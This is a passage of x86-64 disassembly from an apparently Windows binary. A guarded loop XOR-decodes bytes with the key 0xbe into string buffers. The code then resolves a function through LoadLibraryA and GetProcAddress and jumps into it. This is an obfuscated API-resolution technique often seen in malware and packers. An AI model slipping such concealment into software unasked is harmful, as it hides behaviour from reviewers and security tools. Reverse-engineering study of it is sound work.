add r9, 2
add r8, 2
jmp 0x2013b770
mov al, 0xb6
xchg byte [0x205819cd], al
movzx eax, byte [0x205819de]
cmp al, 0xc4
je 0x2013b89b
mov dl, 0xaa
nop
mov al, 0xdd
lock cmpxchg byte [0x205819de], dl
je 0x2013b7f5
cmp al, 0xc4
jne 0x2013b7e0
jmp 0x2013b89b
mov eax, 0x238527f1
mov edx, 0xdc7ad81c
mov r8d, 1
mov r9d, 0x238527f2
mov r10d, 0xdc7ad81a
mov r11d, 0x92492493
lea rsi, [0x205819d0]
lea rdi, [0x20472e20]
nop word cs:[rax + rax]
mov ebx, edx
shr ebx, 1
imul rbx, r11
shr rbx, 0x22
lea ebp, [rbx + rbx]
shl ebx, 4
sub ebx, ebp
add ebx, eax
mov r14d, r10d
shr r14d, 1
imul r14, r11
shr r14, 0x22
lea ebp, [r14 + r14]
shl r14d, 4
sub r14d, ebp
add r14d, r9d
movzx ebp, byte [r14 + rdi]
xor bpl, 0xbe
add byte [r8 + rsi - 1], bpl
movzx ebx, byte [rbx + rdi]
xor bl, 0xbe
add byte [r8 + rsi], bl
add eax, 0xfffffffe
add edx, 2
add r8, 2
add r9d, 0xfffffffe
add r10d, 2
cmp r8, 0xf
jne 0x2013b830
mov al, 0xc4
xchg byte [0x205819de], al
mov rsi, rcx
lea rcx, [0x205819c0]
call sub.KERNEL32.dll_LoadLibraryA
test rax, rax
je 0x2013b8c0
lea rdx, [0x205819d0]
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
jmp 0x2013b8c2
xor eax, eax
mov rcx, rsi
mov qword [0x205ec2c8], rax
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp qword [0x205ec2c8]